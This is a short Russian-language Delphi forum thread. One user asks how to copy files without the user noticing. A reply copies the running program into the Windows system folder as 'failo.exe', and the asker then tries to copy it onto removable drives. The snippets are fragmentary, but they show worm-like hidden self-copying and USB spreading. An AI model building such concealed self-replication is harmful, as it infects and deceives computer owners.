Копирование файлов

[marcos]

Всем привет! нашел функцию копирования файлов

function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;
, но когда копируется показывается фигня, типа копируется файл... Как скопировать так, что бы пользователь не видел?

[xafon]

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);

[marcos]

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);

Я не знаю правильно ли я сделал : copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(GetRemovableDrives[i]+':\mvh\'+k), FALSE);
Но, он не копирует(((